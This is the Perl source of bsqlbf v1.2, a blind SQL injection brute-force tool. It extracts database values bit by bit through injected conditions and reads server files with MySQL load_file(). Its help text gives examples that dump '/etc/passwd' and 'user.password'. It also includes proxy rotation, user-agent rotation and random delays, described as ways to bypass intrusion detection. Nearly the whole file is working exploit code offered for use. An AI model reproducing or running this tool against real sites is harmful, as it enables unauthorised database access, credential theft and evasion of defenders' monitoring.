#!/usr/bin/perl
# Blind SQL Injection POC. aramosf@514.es // http://www.514.es
#
# CHANGELOG:
# Tue Jul 13 10:14:19 RST 2006
# + threads support. for hungry hackers.
# Wed Jul 12 14:04:33 RST 2006
# + change sql teqneez mcdonalds powah 8) (more than 40% optimization)
# please, rip me!!, make your own paper!! =]
# + support for windows files (for example: C:\\boot.ini)
# + support for " and 1="1 sql injection
# + -binary and -ascii support
# - -charset option removed
# - -dict option removed
# + upgrade to v1.2
# Sat Apr 1 03:13:01 CEST 2006
# + -get now support resume (with -start option)
# Thu Mar 30 02:06:41 CEST 2006
# -get to fetch files (thank you ilo AGAIN)
# ***** RELIABLE SPEED IMPROVEMENT USING SOME SKILLS OF SQL AND BRAIN!!***
# Sat Mar 25 13:57:39 CET 2006
# Release `haqerz edition` of bsqlbf:
# + -time option added (IDS bypass)
# + -rtime option added (IDS bypass)
# + -rproxy option added (IDS bypass)
# + -ruagent option added (IDS bypass)
# Sun Dec 11 11:01:34 CET 2005
# + fixed automatch in POSTs
# + better output
# Mon Dec 5 18:30:03 CET 2005
# + added -blind option (to specify which attribute have sql injection).
# Tue Nov 29 17:31:54 CET 2005
# + auto search match string (when they arent -match option)
# Mon Nov 28 16:34:09 CET 2005
# + Support for POST and GET methods (-method get // -method post).
# + Cookies support (-cookie "blah=foo; moo=doo").
# + UserAgent support (-uagent "SQL Blind tool").
# Wed Nov 23 23:44:23 RST 2005
# First version 0.1:
# + code ripped from www.reversing.org <ilo[at]reversing.org> (thanks!)
#
#
# TODO:
# [ ] Rip more code from others.

use LWP::UserAgent;
use Getopt::Long;
use IO::Handle;
use strict;
use threads;
use threads::shared;
use Time::HiRes qw( usleep);

$| = 1;


###############################################################################
my $default_debug = 0;
my $default_length = 32;
my $default_method = "GET";
my $default_time = 0;
my $version = "1.2";
my $default_useragent = "bsqlbf $version";
my $default_sql = "version()";
###############################################################################


$| = 1;

my ($args, $solution);
my (%vars, @varsb);
my ($lastvar, $lastval);
my ($scheme, $authority, $path, $query, $fragment);
my ($head, $tail, $high);
my $hits = 0;
my $amatch = 0;
my ($ua,$req);
my $furl;

###############################################################################
# Define GetOpt:
my ($url, $sql, $time, $rtime, $match, $uagent, $debug);
my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);
my ($start, $length, $method, $cookie, $blind);
my ($help, $get);
my ($ascii, $binary);

my $options = GetOptions (
'help!' => \$help,
'url=s' => \$url,
'get=s' => \$get,
'sql=s' => \$sql,
'blind=s' => \$blind,
'match=s' => \$match,
'start=s' => \$start,
'length=s' => \$length,
'method=s' => \$method,
'uagent=s' => \$uagent,
'ruagent=s' => \$ruagent,
'cookie=s' => \$cookie,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'rproxy=s' => \$rproxy,
'debug!' => \$debug,
'binary!' =>\$binary,
'ascii!' => \$ascii,
'rtime=s' => \$rtime,
'time=i' => \$time );

&help unless ($url);
&help if $help eq 1;

#########################################################################
# Default Options.
$uagent ||= $default_useragent;
$debug ||= $default_debug;
$length ||= $default_length;
$solution ||= $start;
$method ||= $default_method;
$sql ||= $default_sql;
$time ||= $default_time;


&createlwp();
&parseurl();

if ( ! defined($blind)) {
$lastvar = $varsb[$#varsb];
$lastval = $vars{$lastvar};
} else {
$lastvar = $blind;
$lastval = $vars{$blind};
}

if (defined($cookie)) { &cookie() }

if (!$match) {
print "\nTrying to find a match string...\n" if $debug == 1;
$amatch = "1";
$match = fmatch("$url"," AND 1=");
if ($match eq "no vulnerable") {
print "\nNo vuln: 2nd..\n" if $debug ==1;
$match = fmatch("$url","\" AND 1=\"");
$head = "\"";
$tail = " AND 1=\"1";
};
if ($match eq "no vulnerable") {
print "Not vulnerable or use -blind\n";
exit 0;
}
}

&banner();
&httpintro();



( ! $get) ? sqlget() : fileget();

my @byte = ();
my $wait_me;

sub getbyte {
my $sql = $_[0];
my $bit="";
my @thread_count = ();
my $c = 8;
my $i = 0;
$high = 128 unless $ascii;#) ? 128 : { 64; $byte[0] = 0; };
$wait_me = 0;

share($wait_me);
share (@byte);

if ($ascii) {
$byte[0] = 0;
$high = 64;
}
for ($bit=1;$bit<=$high;$bit*=2) {
# launch thread ->
$thread_count[$i] = threads->create(\&launch_thread ,$sql, $bit, $c);
$thread_count[$i]->detach;
$c--;
}

while ($wait_me <= 7) {
usleep(50);
#sleep(1);# if !$dontsleep;
}

my $str = join("",@byte);
#print "\nSTR: $str\n";
return pack("B*","$str");

}

sub launch_thread {
my ($sql, $bit, $c) = @_;
my $val = "$head and (ord($sql) %26 $bit)=0 $tail";
#print "VAL[$c] $val\n";
if (lc($method) eq "post") {
$vars{$lastvar} = $lastval . $val;
}
$furl = $url;
$furl =~ s/($lastvar=$lastval)/$1$val/;
&createlwp if $rproxy || $ruagent;
my $html=fetch("$furl");
$hits++;
foreach (split(/\n/,$html)) {
lock @byte;
if (/\Q$match\E/) {
$byte[$c]=0;
last;
} else { $byte[$c] = 1; }
}
lock $wait_me;
threads->yield();
$wait_me++;
}

sub sqlget {
my ($fsize,$i,$s);
$s = "mid(length(length($sql)),1,1)";
my $lng .= getbyte($s);
for ($i=1;$i<=$lng;$i++) {
$s = "mid(length($sql),$i,1)";
$fsize.=getbyte($s);
}

#print "FSIZE: $fsize\n";
$length = $fsize. "bytes";
&bsqlintro();

my $rsize = $start + 1;
for ($i=$rsize;$i<=$fsize+1;$i++) {
$s = "mid($sql,$i,1)";
#print "S: $s\n";
my $byte = getbyte($s);
$solution .= $byte;
print $byte;
}
}

sub fileget {
my ($lget,$fstr);
if ($get =~ m/.*\/(.*)/) {
$lget = $1; }
$fstr = "0x".unpack("H*","$get");
if ($get =~ m/.*\\(.*)/) {
$lget = $1;
$fstr = "\"$get\"";
}

my $rsize = $start + 1;
if (-e "$lget" && ! $start) {
$rsize = -s "$lget";
print "Error: file ./$lget exists.\n";
print "You can erase or resume it with: -start $rsize\n";
exit 1
}
my ($i,$fsize);
$sql = "mid(length(length(load_file($fstr))),1,1)";
my $lng .= getbyte($sql);
for ($i=1;$i<=$lng;$i++) {
my $find = 0;
$sql = "mid(length(load_file($fstr)),$i,1)";
$fsize.=getbyte($sql);
}

if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }
$length = $fsize. "bytes";
# starting ..
$sql = "load_file($get)";

&bsqlintro();
# Get file
#print "---> $lget";
open FILE, ">>$lget";
FILE->autoflush(1);
print "\n--- BEGIN ---\n";
my ($i,$b,$fcontent);
$rsize = 1 if $rsize < 1;
for ($i=$rsize;$i<=$fsize+1;$i++) {
my $find = 0;
my ($furl, $b_start, $b_end, $z);
$sql = "mid(load_file($fstr),$i,1)";
$fcontent=getbyte($sql);
print $fcontent;
print FILE "$fcontent";
}
print "\n--- END ---\n";
close FILE;
$solution = "success";
$sql = "$get";
}



&result();

#########################################################################
sub httpintro {
my ($strcookie, $strproxy, $struagent, $strtime, $i);
print "--[ http options ]"; print "-"x62; print "\n";
printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);
if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }
printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$struagent);
printf ("%12s %-50s\n","path:", $path);
foreach (keys %vars) {
$i++;
printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});
}
if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
printf ("%12s %-50s\n","cookies:",$strcookie);
if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
if ($rproxy) { $strproxy = "rnd.file:$rproxy" }
printf ("%12s %-50s\n","proxy_host:",$strproxy);
if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
# timing
if (! $time && !$rtime) { $strtime="0sec (default)" }
if ( $time == 0) { $strtime="0 sec (default)" }
if ( $time == 1) { $strtime="15 secs" }
if ( $time == 2) { $strtime="5 mins" }
if ($rtime) { $strtime = "rnd.time:$rtime" }
printf ("%12s %-50s\n","time:",$strtime);
}

sub bsqlintro {
my ($strstart, $strblind, $strlen, $strmatch, $strsql);
print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";
if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }
if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);
if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);
if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }
#printf ("%12s %-60s\n","$strmatch",$match);
print " $strmatch $match\n";
print "-"x80; print "\n\n";
}

#########################################################################

sub createlwp {
my $proxyc;
&getproxy;
&getuagent if $ruagent;
LWP::Debug::level('+') if $debug gt 3;
$ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });
$ua->agent("$uagent");
if (defined($proxy_user) && defined($proxy_pass)) {
my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
$proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
} else { $proxyc = $proxy; }

$ua->proxy(['http'] => $proxyc) if $proxy;
undef $proxy if $rproxy;
undef $uagent if $ruagent;
}

sub cookie {
# Cookies check
if ($cookie || $cookie =~ /; /) {
foreach my $c (split /;/, $cookie) {
my ($a,$b) = split /=/, $c;
if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
}
}
}

sub parseurl {
###############################################################################
# Official Regexp to parse URI. Thank you somebody.
($scheme, $authority, $path, $query, $fragment) =
$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
# Parse args of URI into %vars and @varsb.
foreach my $varval (split /&/, $query) {
my ($var, $val) = split /=/, $varval;
$vars{$var} = $val;
push(@varsb, $var);
}
}


#########################################################################
# Show options at running:
sub banner {
print "\n // Blind SQL injection brute force.\n";
print " // aramosf\@514.es / http://www.514.es\n\n";
}


#########################################################################
# Get differences in HTML
sub fmatch {
my ($ok,$rtrn);
my ($furla, $furlb,$quote) = ($_[0], $_[0],$_[1]);
my ($html_a, $html_b);
if (lc($method) eq "get") {
$furla =~ s/($lastvar=$lastval)/$1 ${quote}1/;
$furlb =~ s/($lastvar=$lastval)/$1 ${quote}0/;
$html_a = fetch("$furla");
$html_b = fetch("$furlb");
} elsif (lc($method) eq "post") {
$vars{$lastvar} = $lastval . " ${quote}1";
$html_a = fetch("$furla");
$vars{$lastvar} = $lastval . " ${quote}0";
$html_b = fetch("$furla");
$vars{$lastvar} = $lastval;
}


#print "$html_a";
#print "$html_b";

if ($html_a eq $html_b) {
$rtrn = "no vulnerable";
return $rtrn;
}


my @h_a = split(/\n/,$html_a);
my @h_b = split(/\n/,$html_b);
foreach my $a (@h_a) {
$ok = 0;
if ($a =~ /\w/) {
foreach (@h_b) {
if ($a eq $_) {$ok = 1; }
}
} else { $ok = 1; }
$rtrn = $a;
last if $ok ne 1;
}
return $rtrn;
}


#########################################################################
# Fetch HTML from WWW
sub fetch {
print "fetch: $_[0]\n";
my $secs;
if ($time == 0) { $secs = 0 }
elsif ($time == 1) { $secs = 15 }
elsif ($time == 2) { $secs = 300 }
if ($rtime =~ /\d*-\d*/ && $time == 0) {
my ($l,$p) = $rtime =~ m/(\d+-\d+)/;
srand; $secs = int(rand($p-$l+1))+$l;
} elsif ($rtime =~ /\d*-\d*/ && $time != 0) {
print "You can't run with -time and -rtime. See -help.\n";
exit 1;
}
sleep $secs;

my $res;
if (lc($method) eq "get") {
my $fetch = $_[0];
if ($cookie) {
$res = $ua->get("$fetch", Cookie => "$cookie");
} elsif (!$cookie) {
$res = $ua->get("$fetch");
}
} elsif (lc($method) eq "post") {
my($s, $a, $p, $q, $f) =
$url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
my $fetch = "$s://$a".$p;
if ($cookie) {
$res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
} elsif (!$cookie) {
$res = $ua->post("$fetch",\%vars);
}
} else {
die "Wrong httpd method. Use -h for help\n";
}
my $html = $res->content();
return $html;
}


sub getproxy {
if ($rproxy && $proxy !~ /http/) {
my @lproxy;
open PROXY, $rproxy or die "Can't open file: $rproxy\n";
while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }
close PROXY;
srand; my $ind = rand @lproxy;
$proxy = $lproxy[$ind];
} elsif ($rproxy && $proxy =~ /http/) {
print "You can't run with -proxy and -rproxy. See -help.\n";
exit 1;
}
}

sub getuagent {
my @uproxy;
open UAGENT, $ruagent or die "Can't open file: $ruagent\n";
while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }
close UAGENT;
srand; my $ind = rand @uproxy;
$uagent = $uproxy[$ind];
chop($uagent);
}

sub result {
print "\r results: \n" .
" $sql = $solution\n" if length($solution) > 0;
print " total hits: $hits\n";
}


sub help {
&banner();
print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";
print "\n options:\n";
print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";
print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";
print "\t\tuser() or all data available in the requested query, for\n";
print "\t\texample: user.password. Default: version()\n";
print " -blind:\tparameter to inject sql. Default is last value of url\n";
print " -match:\tstring to match in valid query, Default is try to get auto\n";
print " -start:\tif you know the beginning of the string, use it.\n";
print " -length:\tmaximum length of value. Default is $default_length.\n";
print " -time:\t\ttimer options:\n";
print " \t0:\tdont wait. Default option.\n";
print " \t1:\twait 15 seconds\n";
print " \t2:\twait 5 minutes\n";
print " -rtime:\twait random seconds, for example: \"10-20\".\n";
print " -method:\thttp method to use; get or post. Default is $default_method.\n";
print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";
print " -ruagent:\tfile with random http UserAgent header to use.\n";
print " -cookie:\thttp cookie header to use\n";
print " -rproxy:\tuse random http proxy from file list.\n";
print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";
print " -proxy_user:\tproxy http user\n";
print " -proxy_pass:\tproxy http password\n";
print "\n examples:\n bash# $0 -url http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";
print " bash# $0 -url http://www.buggy.com/bug.php?r=514&p=3 -get \"/etc/passwd\"\n";
exit(1);
}